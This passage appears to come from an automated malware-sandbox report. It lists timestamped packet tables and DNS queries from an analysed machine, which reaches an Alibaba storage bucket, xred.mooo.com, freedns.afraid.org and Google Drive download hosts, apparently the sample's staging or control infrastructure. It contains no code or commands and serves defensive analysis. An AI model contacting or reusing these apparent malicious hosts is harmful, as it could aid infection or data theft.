Jan 2, 2025 20:35:01.596986055 CET	49740	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:35:01.597024918 CET	49740	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:35:01.597024918 CET	49740	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:35:01.600301027 CET	80	49740	47.254.187.72	192.168.2.4
Jan 2, 2025 20:35:01.600312948 CET	80	49740	47.254.187.72	192.168.2.4
Jan 2, 2025 20:35:01.600348949 CET	80	49740	47.254.187.72	192.168.2.4
Jan 2, 2025 20:35:01.600349903 CET	49740	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:35:01.600361109 CET	80	49740	47.254.187.72	192.168.2.4
Jan 2, 2025 20:35:01.600372076 CET	80	49740	47.254.187.72	192.168.2.4
Jan 2, 2025 20:35:01.600379944 CET	49740	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:35:01.600379944 CET	49740	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:35:01.600466967 CET	49740	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:35:01.602071047 CET	80	49740	47.254.187.72	192.168.2.4
Jan 2, 2025 20:35:01.602118015 CET	80	49740	47.254.187.72	192.168.2.4
Jan 2, 2025 20:35:01.602128029 CET	80	49740	47.254.187.72	192.168.2.4
Jan 2, 2025 20:35:01.602149010 CET	49740	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:35:01.602164030 CET	80	49740	47.254.187.72	192.168.2.4
Jan 2, 2025 20:35:01.602174044 CET	80	49740	47.254.187.72	192.168.2.4
Jan 2, 2025 20:35:01.602204084 CET	49740	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:35:01.602204084 CET	49740	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:35:01.605544090 CET	80	49740	47.254.187.72	192.168.2.4
Jan 2, 2025 20:35:01.605580091 CET	80	49740	47.254.187.72	192.168.2.4
Jan 2, 2025 20:35:01.605612993 CET	80	49740	47.254.187.72	192.168.2.4
Jan 2, 2025 20:35:01.605631113 CET	80	49740	47.254.187.72	192.168.2.4
Jan 2, 2025 20:35:01.605640888 CET	80	49740	47.254.187.72	192.168.2.4
Jan 2, 2025 20:35:01.605648041 CET	49740	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:35:01.605648041 CET	49740	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:35:01.605648041 CET	49740	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:35:01.605676889 CET	49740	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:35:01.605729103 CET	49740	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:35:01.617146969 CET	80	49740	47.254.187.72	192.168.2.4
Jan 2, 2025 20:35:01.617162943 CET	80	49740	47.254.187.72	192.168.2.4
Jan 2, 2025 20:35:01.617182970 CET	80	49740	47.254.187.72	192.168.2.4
Jan 2, 2025 20:35:01.617198944 CET	80	49740	47.254.187.72	192.168.2.4
Jan 2, 2025 20:35:01.617208004 CET	80	49740	47.254.187.72	192.168.2.4
Jan 2, 2025 20:35:01.617218971 CET	80	49740	47.254.187.72	192.168.2.4
Jan 2, 2025 20:35:01.617229939 CET	80	49740	47.254.187.72	192.168.2.4
Jan 2, 2025 20:35:01.617239952 CET	80	49740	47.254.187.72	192.168.2.4
Jan 2, 2025 20:35:01.617252111 CET	80	49740	47.254.187.72	192.168.2.4
Jan 2, 2025 20:35:01.617261887 CET	49740	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:35:01.617261887 CET	49740	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:35:01.617435932 CET	49740	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:35:01.617435932 CET	49740	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:35:01.621752024 CET	80	49740	47.254.187.72	192.168.2.4
Jan 2, 2025 20:35:01.621783018 CET	80	49740	47.254.187.72	192.168.2.4
Jan 2, 2025 20:35:01.621794939 CET	80	49740	47.254.187.72	192.168.2.4
Jan 2, 2025 20:35:01.621805906 CET	80	49740	47.254.187.72	192.168.2.4
Jan 2, 2025 20:35:01.621804953 CET	49740	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:35:01.621818066 CET	80	49740	47.254.187.72	192.168.2.4
Jan 2, 2025 20:35:01.621829033 CET	80	49740	47.254.187.72	192.168.2.4
Jan 2, 2025 20:35:01.621840954 CET	80	49740	47.254.187.72	192.168.2.4
Jan 2, 2025 20:35:01.621844053 CET	49740	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:35:01.621844053 CET	49740	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:35:01.621922970 CET	49740	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:35:01.626966953 CET	80	49740	47.254.187.72	192.168.2.4
Jan 2, 2025 20:35:01.626983881 CET	80	49740	47.254.187.72	192.168.2.4
Jan 2, 2025 20:35:01.626995087 CET	80	49740	47.254.187.72	192.168.2.4
Jan 2, 2025 20:35:01.627005100 CET	80	49740	47.254.187.72	192.168.2.4
Jan 2, 2025 20:35:01.627017021 CET	80	49740	47.254.187.72	192.168.2.4
Jan 2, 2025 20:35:01.627028942 CET	80	49740	47.254.187.72	192.168.2.4
Jan 2, 2025 20:35:01.627039909 CET	80	49740	47.254.187.72	192.168.2.4
Jan 2, 2025 20:35:01.627048969 CET	49740	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:35:01.627048969 CET	49740	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:35:01.627051115 CET	80	49740	47.254.187.72	192.168.2.4
Jan 2, 2025 20:35:01.627091885 CET	49740	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:35:01.630399942 CET	80	49740	47.254.187.72	192.168.2.4
Jan 2, 2025 20:35:01.630444050 CET	80	49740	47.254.187.72	192.168.2.4
Jan 2, 2025 20:35:01.630448103 CET	49740	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:35:01.630455971 CET	80	49740	47.254.187.72	192.168.2.4
Jan 2, 2025 20:35:01.630475044 CET	80	49740	47.254.187.72	192.168.2.4
Jan 2, 2025 20:35:01.630486012 CET	80	49740	47.254.187.72	192.168.2.4
Jan 2, 2025 20:35:01.630501032 CET	80	49740	47.254.187.72	192.168.2.4
Jan 2, 2025 20:35:01.630517006 CET	49740	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:35:01.630517006 CET	49740	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:35:01.630518913 CET	80	49740	47.254.187.72	192.168.2.4
Jan 2, 2025 20:35:01.630532026 CET	80	49740	47.254.187.72	192.168.2.4
Jan 2, 2025 20:35:01.630585909 CET	49740	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:35:01.630585909 CET	49740	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:35:01.635267973 CET	80	49740	47.254.187.72	192.168.2.4
Jan 2, 2025 20:35:01.635329008 CET	80	49740	47.254.187.72	192.168.2.4
Jan 2, 2025 20:35:01.635337114 CET	49740	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:35:01.635340929 CET	80	49740	47.254.187.72	192.168.2.4
Jan 2, 2025 20:35:01.635354042 CET	80	49740	47.254.187.72	192.168.2.4
Jan 2, 2025 20:35:01.635364056 CET	80	49740	47.254.187.72	192.168.2.4
Jan 2, 2025 20:35:01.635377884 CET	80	49740	47.254.187.72	192.168.2.4
Jan 2, 2025 20:35:01.635389090 CET	80	49740	47.254.187.72	192.168.2.4
Jan 2, 2025 20:35:01.635390043 CET	49740	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:35:01.635390043 CET	49740	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:35:01.635401011 CET	80	49740	47.254.187.72	192.168.2.4
Jan 2, 2025 20:35:01.635416031 CET	49740	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:35:01.635464907 CET	49740	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:35:01.640496969 CET	80	49740	47.254.187.72	192.168.2.4
Jan 2, 2025 20:35:01.640518904 CET	80	49740	47.254.187.72	192.168.2.4
Jan 2, 2025 20:35:01.640531063 CET	80	49740	47.254.187.72	192.168.2.4
Jan 2, 2025 20:35:01.640542030 CET	80	49740	47.254.187.72	192.168.2.4
Jan 2, 2025 20:35:01.640553951 CET	80	49740	47.254.187.72	192.168.2.4
Jan 2, 2025 20:35:01.640564919 CET	80	49740	47.254.187.72	192.168.2.4
Jan 2, 2025 20:35:01.640582085 CET	80	49740	47.254.187.72	192.168.2.4
Jan 2, 2025 20:35:01.640604973 CET	49740	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:35:01.640604973 CET	49740	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:35:01.640604973 CET	49740	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:35:01.641927004 CET	49740	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:35:01.645734072 CET	80	49740	47.254.187.72	192.168.2.4
Jan 2, 2025 20:35:01.645816088 CET	80	49740	47.254.187.72	192.168.2.4
Jan 2, 2025 20:35:01.645859003 CET	49740	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:35:01.645859003 CET	49740	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:35:01.645862103 CET	80	49740	47.254.187.72	192.168.2.4
Jan 2, 2025 20:35:01.645874977 CET	80	49740	47.254.187.72	192.168.2.4
Jan 2, 2025 20:35:01.645899057 CET	80	49740	47.254.187.72	192.168.2.4
Jan 2, 2025 20:35:01.645909071 CET	80	49740	47.254.187.72	192.168.2.4
Jan 2, 2025 20:35:01.645925999 CET	80	49740	47.254.187.72	192.168.2.4
Jan 2, 2025 20:35:01.645935059 CET	49740	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:35:01.645935059 CET	49740	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:35:01.645935059 CET	49740	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:35:01.645965099 CET	49740	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:35:01.645966053 CET	49740	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:35:01.651062012 CET	80	49740	47.254.187.72	192.168.2.4
Jan 2, 2025 20:35:01.651096106 CET	80	49740	47.254.187.72	192.168.2.4
Jan 2, 2025 20:35:01.651114941 CET	80	49740	47.254.187.72	192.168.2.4
Jan 2, 2025 20:35:01.651114941 CET	49740	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:35:01.651129007 CET	80	49740	47.254.187.72	192.168.2.4
Jan 2, 2025 20:35:01.651140928 CET	80	49740	47.254.187.72	192.168.2.4
Jan 2, 2025 20:35:01.651154041 CET	80	49740	47.254.187.72	192.168.2.4
Jan 2, 2025 20:35:01.651153088 CET	49740	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:35:01.651153088 CET	49740	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:35:01.651166916 CET	80	49740	47.254.187.72	192.168.2.4
Jan 2, 2025 20:35:01.651180983 CET	49740	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:35:01.651227951 CET	49740	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:35:01.656179905 CET	80	49740	47.254.187.72	192.168.2.4
Jan 2, 2025 20:35:01.656275034 CET	49740	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:35:01.656279087 CET	80	49740	47.254.187.72	192.168.2.4
Jan 2, 2025 20:35:01.656290054 CET	80	49740	47.254.187.72	192.168.2.4
Jan 2, 2025 20:35:01.656301975 CET	80	49740	47.254.187.72	192.168.2.4
Jan 2, 2025 20:35:01.656312943 CET	80	49740	47.254.187.72	192.168.2.4
Jan 2, 2025 20:35:01.656325102 CET	80	49740	47.254.187.72	192.168.2.4
Jan 2, 2025 20:35:01.656336069 CET	80	49740	47.254.187.72	192.168.2.4
Jan 2, 2025 20:35:01.656346083 CET	80	49740	47.254.187.72	192.168.2.4
Jan 2, 2025 20:35:01.656363964 CET	49740	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:35:01.656363964 CET	49740	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:35:01.656405926 CET	49740	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:35:01.659473896 CET	80	49740	47.254.187.72	192.168.2.4
Jan 2, 2025 20:35:01.659512997 CET	80	49740	47.254.187.72	192.168.2.4
Jan 2, 2025 20:35:01.659523010 CET	49740	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:35:01.659523964 CET	80	49740	47.254.187.72	192.168.2.4
Jan 2, 2025 20:35:01.659544945 CET	80	49740	47.254.187.72	192.168.2.4
Jan 2, 2025 20:35:01.659557104 CET	80	49740	47.254.187.72	192.168.2.4
Jan 2, 2025 20:35:01.659559011 CET	49740	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:35:01.659585953 CET	49740	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:35:01.659601927 CET	49740	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:35:01.711280107 CET	49740	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:35:01.716125011 CET	80	49740	47.254.187.72	192.168.2.4
Jan 2, 2025 20:35:02.093417883 CET	80	49740	47.254.187.72	192.168.2.4
Jan 2, 2025 20:35:02.093442917 CET	80	49740	47.254.187.72	192.168.2.4
Jan 2, 2025 20:35:02.093482971 CET	49740	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:35:02.093554974 CET	49740	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:35:29.702555895 CET	80	49738	69.42.215.252	192.168.2.4
Jan 2, 2025 20:35:29.702617884 CET	49738	80	192.168.2.4	69.42.215.252
Jan 2, 2025 20:35:57.851216078 CET	49845	443	192.168.2.4	142.250.186.142
Jan 2, 2025 20:35:57.851255894 CET	443	49845	142.250.186.142	192.168.2.4
Jan 2, 2025 20:35:57.851327896 CET	49845	443	192.168.2.4	142.250.186.142
Jan 2, 2025 20:35:57.861076117 CET	49845	443	192.168.2.4	142.250.186.142
Jan 2, 2025 20:35:57.861099005 CET	443	49845	142.250.186.142	192.168.2.4
Jan 2, 2025 20:35:58.512104034 CET	443	49845	142.250.186.142	192.168.2.4
Jan 2, 2025 20:35:58.512195110 CET	49845	443	192.168.2.4	142.250.186.142
Jan 2, 2025 20:35:58.512892962 CET	443	49845	142.250.186.142	192.168.2.4
Jan 2, 2025 20:35:58.512959957 CET	49845	443	192.168.2.4	142.250.186.142
Jan 2, 2025 20:35:58.559667110 CET	49845	443	192.168.2.4	142.250.186.142
Jan 2, 2025 20:35:58.559700966 CET	443	49845	142.250.186.142	192.168.2.4
Jan 2, 2025 20:35:58.560065985 CET	443	49845	142.250.186.142	192.168.2.4
Jan 2, 2025 20:35:58.560126066 CET	49845	443	192.168.2.4	142.250.186.142
Jan 2, 2025 20:35:58.562103987 CET	49845	443	192.168.2.4	142.250.186.142
Jan 2, 2025 20:35:58.607327938 CET	443	49845	142.250.186.142	192.168.2.4
Jan 2, 2025 20:35:58.898123980 CET	443	49845	142.250.186.142	192.168.2.4
Jan 2, 2025 20:35:58.898185015 CET	49845	443	192.168.2.4	142.250.186.142
Jan 2, 2025 20:35:58.898448944 CET	49845	443	192.168.2.4	142.250.186.142
Jan 2, 2025 20:35:58.898474932 CET	443	49845	142.250.186.142	192.168.2.4
Jan 2, 2025 20:35:58.898588896 CET	49845	443	192.168.2.4	142.250.186.142
Jan 2, 2025 20:35:58.930852890 CET	49852	443	192.168.2.4	142.250.185.225
Jan 2, 2025 20:35:58.930907011 CET	443	49852	142.250.185.225	192.168.2.4
Jan 2, 2025 20:35:58.931333065 CET	49852	443	192.168.2.4	142.250.185.225
Jan 2, 2025 20:35:58.932199955 CET	49852	443	192.168.2.4	142.250.185.225
Jan 2, 2025 20:35:58.932214022 CET	443	49852	142.250.185.225	192.168.2.4
Jan 2, 2025 20:35:59.590174913 CET	443	49852	142.250.185.225	192.168.2.4
Jan 2, 2025 20:35:59.590331078 CET	49852	443	192.168.2.4	142.250.185.225
Jan 2, 2025 20:35:59.594347000 CET	49852	443	192.168.2.4	142.250.185.225
Jan 2, 2025 20:35:59.594364882 CET	443	49852	142.250.185.225	192.168.2.4
Jan 2, 2025 20:35:59.594660997 CET	443	49852	142.250.185.225	192.168.2.4
Jan 2, 2025 20:35:59.594887018 CET	49852	443	192.168.2.4	142.250.185.225
Jan 2, 2025 20:35:59.595309019 CET	49852	443	192.168.2.4	142.250.185.225
Jan 2, 2025 20:35:59.639333963 CET	443	49852	142.250.185.225	192.168.2.4
Jan 2, 2025 20:36:00.007603884 CET	443	49852	142.250.185.225	192.168.2.4
Jan 2, 2025 20:36:00.007654905 CET	443	49852	142.250.185.225	192.168.2.4
Jan 2, 2025 20:36:00.007769108 CET	443	49852	142.250.185.225	192.168.2.4
Jan 2, 2025 20:36:00.007813931 CET	49852	443	192.168.2.4	142.250.185.225
Jan 2, 2025 20:36:00.007813931 CET	49852	443	192.168.2.4	142.250.185.225
Jan 2, 2025 20:36:00.009033918 CET	49852	443	192.168.2.4	142.250.185.225
Jan 2, 2025 20:36:00.027252913 CET	49852	443	192.168.2.4	142.250.185.225
Jan 2, 2025 20:36:00.027262926 CET	443	49852	142.250.185.225	192.168.2.4
Jan 2, 2025 20:36:00.032784939 CET	49861	443	192.168.2.4	142.250.186.142
Jan 2, 2025 20:36:00.032852888 CET	443	49861	142.250.186.142	192.168.2.4
Jan 2, 2025 20:36:00.032933950 CET	49861	443	192.168.2.4	142.250.186.142
Jan 2, 2025 20:36:00.033133030 CET	49861	443	192.168.2.4	142.250.186.142
Jan 2, 2025 20:36:00.033160925 CET	443	49861	142.250.186.142	192.168.2.4
Jan 2, 2025 20:36:00.686091900 CET	443	49861	142.250.186.142	192.168.2.4
Jan 2, 2025 20:36:00.686224937 CET	49861	443	192.168.2.4	142.250.186.142
Jan 2, 2025 20:36:00.686845064 CET	443	49861	142.250.186.142	192.168.2.4
Jan 2, 2025 20:36:00.686912060 CET	49861	443	192.168.2.4	142.250.186.142
Jan 2, 2025 20:36:00.688692093 CET	49861	443	192.168.2.4	142.250.186.142
Jan 2, 2025 20:36:00.688719988 CET	443	49861	142.250.186.142	192.168.2.4
Jan 2, 2025 20:36:00.688976049 CET	443	49861	142.250.186.142	192.168.2.4
Jan 2, 2025 20:36:00.689034939 CET	49861	443	192.168.2.4	142.250.186.142
Jan 2, 2025 20:36:00.689457893 CET	49861	443	192.168.2.4	142.250.186.142
Jan 2, 2025 20:36:00.735332012 CET	443	49861	142.250.186.142	192.168.2.4
Jan 2, 2025 20:36:01.118144989 CET	443	49861	142.250.186.142	192.168.2.4
Jan 2, 2025 20:36:01.118371964 CET	49861	443	192.168.2.4	142.250.186.142
Jan 2, 2025 20:36:01.118550062 CET	49861	443	192.168.2.4	142.250.186.142
Jan 2, 2025 20:36:01.118587017 CET	443	49861	142.250.186.142	192.168.2.4
Jan 2, 2025 20:36:01.118635893 CET	49861	443	192.168.2.4	142.250.186.142
Jan 2, 2025 20:36:01.150355101 CET	49870	443	192.168.2.4	142.250.185.225
Jan 2, 2025 20:36:01.150383949 CET	443	49870	142.250.185.225	192.168.2.4
Jan 2, 2025 20:36:01.150444984 CET	49870	443	192.168.2.4	142.250.185.225
Jan 2, 2025 20:36:01.150729895 CET	49870	443	192.168.2.4	142.250.185.225
Jan 2, 2025 20:36:01.150742054 CET	443	49870	142.250.185.225	192.168.2.4
Jan 2, 2025 20:36:01.786962986 CET	443	49870	142.250.185.225	192.168.2.4
Jan 2, 2025 20:36:01.787020922 CET	49870	443	192.168.2.4	142.250.185.225
Jan 2, 2025 20:36:01.787559986 CET	49870	443	192.168.2.4	142.250.185.225
Jan 2, 2025 20:36:01.787569046 CET	443	49870	142.250.185.225	192.168.2.4
Jan 2, 2025 20:36:01.787755966 CET	49870	443	192.168.2.4	142.250.185.225
Jan 2, 2025 20:36:01.787760019 CET	443	49870	142.250.185.225	192.168.2.4
Jan 2, 2025 20:36:02.093228102 CET	80	49740	47.254.187.72	192.168.2.4
Jan 2, 2025 20:36:02.093306065 CET	49740	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:36:02.229520082 CET	443	49870	142.250.185.225	192.168.2.4
Jan 2, 2025 20:36:02.229567051 CET	443	49870	142.250.185.225	192.168.2.4
Jan 2, 2025 20:36:02.229633093 CET	49870	443	192.168.2.4	142.250.185.225
Jan 2, 2025 20:36:02.229644060 CET	443	49870	142.250.185.225	192.168.2.4
Jan 2, 2025 20:36:02.229674101 CET	443	49870	142.250.185.225	192.168.2.4
Jan 2, 2025 20:36:02.229686022 CET	49870	443	192.168.2.4	142.250.185.225
Jan 2, 2025 20:36:02.229717016 CET	49870	443	192.168.2.4	142.250.185.225
Jan 2, 2025 20:36:02.230364084 CET	49870	443	192.168.2.4	142.250.185.225
Jan 2, 2025 20:36:02.230379105 CET	443	49870	142.250.185.225	192.168.2.4
Jan 2, 2025 20:36:02.281008005 CET	49876	443	192.168.2.4	142.250.186.142
Jan 2, 2025 20:36:02.281045914 CET	443	49876	142.250.186.142	192.168.2.4
Jan 2, 2025 20:36:02.281102896 CET	49876	443	192.168.2.4	142.250.186.142
Jan 2, 2025 20:36:02.281366110 CET	49876	443	192.168.2.4	142.250.186.142
Jan 2, 2025 20:36:02.281383038 CET	443	49876	142.250.186.142	192.168.2.4
Jan 2, 2025 20:36:02.950547934 CET	443	49876	142.250.186.142	192.168.2.4
Jan 2, 2025 20:36:02.950625896 CET	49876	443	192.168.2.4	142.250.186.142
Jan 2, 2025 20:36:02.951419115 CET	443	49876	142.250.186.142	192.168.2.4
Jan 2, 2025 20:36:02.951464891 CET	49876	443	192.168.2.4	142.250.186.142
Jan 2, 2025 20:36:02.953366995 CET	49876	443	192.168.2.4	142.250.186.142
Jan 2, 2025 20:36:02.953383923 CET	443	49876	142.250.186.142	192.168.2.4
Jan 2, 2025 20:36:02.953645945 CET	443	49876	142.250.186.142	192.168.2.4
Jan 2, 2025 20:36:02.953691959 CET	49876	443	192.168.2.4	142.250.186.142
Jan 2, 2025 20:36:02.955089092 CET	49876	443	192.168.2.4	142.250.186.142
Jan 2, 2025 20:36:02.995336056 CET	443	49876	142.250.186.142	192.168.2.4
Jan 2, 2025 20:36:03.342430115 CET	443	49876	142.250.186.142	192.168.2.4
Jan 2, 2025 20:36:03.342480898 CET	49876	443	192.168.2.4	142.250.186.142
Jan 2, 2025 20:36:03.342509031 CET	443	49876	142.250.186.142	192.168.2.4
Jan 2, 2025 20:36:03.342545986 CET	49876	443	192.168.2.4	142.250.186.142
Jan 2, 2025 20:36:03.343539000 CET	49876	443	192.168.2.4	142.250.186.142
Jan 2, 2025 20:36:03.343569994 CET	443	49876	142.250.186.142	192.168.2.4
Jan 2, 2025 20:36:03.343612909 CET	49876	443	192.168.2.4	142.250.186.142
Jan 2, 2025 20:36:03.343616009 CET	443	49876	142.250.186.142	192.168.2.4
Jan 2, 2025 20:36:03.343677044 CET	49876	443	192.168.2.4	142.250.186.142
Jan 2, 2025 20:36:03.402581930 CET	49887	443	192.168.2.4	142.250.185.225
Jan 2, 2025 20:36:03.402625084 CET	443	49887	142.250.185.225	192.168.2.4
Jan 2, 2025 20:36:03.402693033 CET	49887	443	192.168.2.4	142.250.185.225
Jan 2, 2025 20:36:03.403450012 CET	49887	443	192.168.2.4	142.250.185.225
Jan 2, 2025 20:36:03.403470993 CET	443	49887	142.250.185.225	192.168.2.4
Jan 2, 2025 20:36:04.031008005 CET	443	49887	142.250.185.225	192.168.2.4
Jan 2, 2025 20:36:04.031090975 CET	49887	443	192.168.2.4	142.250.185.225
Jan 2, 2025 20:36:04.031687975 CET	49887	443	192.168.2.4	142.250.185.225
Jan 2, 2025 20:36:04.031698942 CET	443	49887	142.250.185.225	192.168.2.4
Jan 2, 2025 20:36:04.032018900 CET	49887	443	192.168.2.4	142.250.185.225
Jan 2, 2025 20:36:04.032025099 CET	443	49887	142.250.185.225	192.168.2.4
Jan 2, 2025 20:36:04.378288031 CET	443	49887	142.250.185.225	192.168.2.4
Jan 2, 2025 20:36:04.378350019 CET	443	49887	142.250.185.225	192.168.2.4
Jan 2, 2025 20:36:04.378407001 CET	49887	443	192.168.2.4	142.250.185.225
Jan 2, 2025 20:36:04.378432989 CET	443	49887	142.250.185.225	192.168.2.4
Jan 2, 2025 20:36:04.378478050 CET	443	49887	142.250.185.225	192.168.2.4
Jan 2, 2025 20:36:04.378479004 CET	49887	443	192.168.2.4	142.250.185.225
Jan 2, 2025 20:36:04.378526926 CET	49887	443	192.168.2.4	142.250.185.225
Jan 2, 2025 20:36:04.379179955 CET	49887	443	192.168.2.4	142.250.185.225
Jan 2, 2025 20:36:04.379194021 CET	443	49887	142.250.185.225	192.168.2.4
Jan 2, 2025 20:36:48.963740110 CET	49738	80	192.168.2.4	69.42.215.252
Jan 2, 2025 20:36:49.275995970 CET	49738	80	192.168.2.4	69.42.215.252
Jan 2, 2025 20:36:49.385694027 CET	49740	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:36:49.392025948 CET	80	49740	47.254.187.72	192.168.2.4
Jan 2, 2025 20:36:49.885360003 CET	49738	80	192.168.2.4	69.42.215.252
Jan 2, 2025 20:36:51.088504076 CET	49738	80	192.168.2.4	69.42.215.252
Jan 2, 2025 20:36:53.494822979 CET	49738	80	192.168.2.4	69.42.215.252
Jan 2, 2025 20:36:58.308051109 CET	49738	80	192.168.2.4	69.42.215.252
Jan 2, 2025 20:37:07.916665077 CET	49738	80	192.168.2.4	69.42.215.252

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 2, 2025 20:34:47.789920092 CET	51984	53	192.168.2.4	1.1.1.1
Jan 2, 2025 20:34:48.601571083 CET	53	51984	1.1.1.1	192.168.2.4
Jan 2, 2025 20:34:58.944031000 CET	57563	53	192.168.2.4	1.1.1.1
Jan 2, 2025 20:34:58.951446056 CET	53	57563	1.1.1.1	192.168.2.4
Jan 2, 2025 20:34:58.990386009 CET	63715	53	192.168.2.4	1.1.1.1
Jan 2, 2025 20:34:58.999197006 CET	53	63715	1.1.1.1	192.168.2.4
Jan 2, 2025 20:35:57.843045950 CET	59374	53	192.168.2.4	1.1.1.1
Jan 2, 2025 20:35:57.850435972 CET	53	59374	1.1.1.1	192.168.2.4
Jan 2, 2025 20:35:58.921371937 CET	50861	53	192.168.2.4	1.1.1.1
Jan 2, 2025 20:35:58.928391933 CET	53	50861	1.1.1.1	192.168.2.4

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Jan 2, 2025 20:34:47.789920092 CET	192.168.2.4	1.1.1.1	0x498c	Standard query (0)	bruplong.oss-accelerate.aliyuncs.com	A (IP address)	IN (0x0001)	false
Jan 2, 2025 20:34:58.944031000 CET	192.168.2.4	1.1.1.1	0x9d62	Standard query (0)	xred.mooo.com	A (IP address)	IN (0x0001)	false
Jan 2, 2025 20:34:58.990386009 CET	192.168.2.4	1.1.1.1	0x7556	Standard query (0)	freedns.afraid.org	A (IP address)	IN (0x0001)	false
Jan 2, 2025 20:35:57.843045950 CET	192.168.2.4	1.1.1.1	0xeadc	Standard query (0)	docs.google.com	A (IP address)	IN (0x0001)	false
Jan 2, 2025 20:35:58.921371937 CET	192.168.2.4	1.1.1.1	0x85d3	Standard query (0)	drive.usercontent.google.com	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Jan 2, 2025 20:34:48.601571083 CET	1.1.1.1	192.168.2.4	0x498c	No error (0)	bruplong.oss-accelerate.aliyuncs.com	oss-acc-allline.aliyuncs.com		CNAME (Canonical name)	IN (0x0001)	false
Jan 2, 2025 20:34:48.601571083 CET	1.1.1.1	192.168.2.4	0x498c	No error (0)	oss-acc-allline.aliyuncs.com	oss-acc-allline.aliyuncs.com.gds.alibabadns.com		CNAME (Canonical name)	IN (0x0001)	false
Jan 2, 2025 20:34:48.601571083 CET	1.1.1.1	192.168.2.4	0x498c	No error (0)	oss-acc-allline.aliyuncs.com.gds.alibabadns.com	eu-central-1.oss-acc.aliyuncs.com		CNAME (Canonical name)	IN (0x0001)	false
Jan 2, 2025 20:34:48.601571083 CET	1.1.1.1	192.168.2.4	0x498c	No error (0)	eu-central-1.oss-acc.aliyuncs.com		47.254.187.72	A (IP address)	IN (0x0001)	false
Jan 2, 2025 20:34:58.951446056 CET	1.1.1.1	192.168.2.4	0x9d62	Name error (3)	xred.mooo.com	none	none	A (IP address)	IN (0x0001)	false
Jan 2, 2025 20:34:58.999197006 CET	1.1.1.1	192.168.2.4	0x7556	No error (0)	freedns.afraid.org		69.42.215.252	A (IP address)	IN (0x0001)	false
Jan 2, 2025 20:35:43.875564098 CET	1.1.1.1	192.168.2.4	0xc3d4	No error (0)	shed.dual-low.s-part-0017.t-0009.t-msedge.net	s-part-0017.t-0009.t-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Jan 2, 2025 20:35:43.875564098 CET	1.1.1.1	192.168.2.4	0xc3d4	No error (0)	s-part-0017.t-0009.t-msedge.net		13.107.246.45	A (IP address)	IN (0x0001)	false
Jan 2, 2025 20:35:57.850435972 CET	1.1.1.1	192.168.2.4	0xeadc	No error (0)	docs.google.com		142.250.186.142	A (IP address)	IN (0x0001)	false
Jan 2, 2025 20:35:58.928391933 CET	1.1.1.1	192.168.2.4	0x85d3	No error (0)	drive.usercontent.google.com		142.250.185.225	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

docs.google.com

drive.usercontent.google.com

bruplong.oss-accelerate.aliyuncs.com

freedns.afraid.org

HTTP Packets

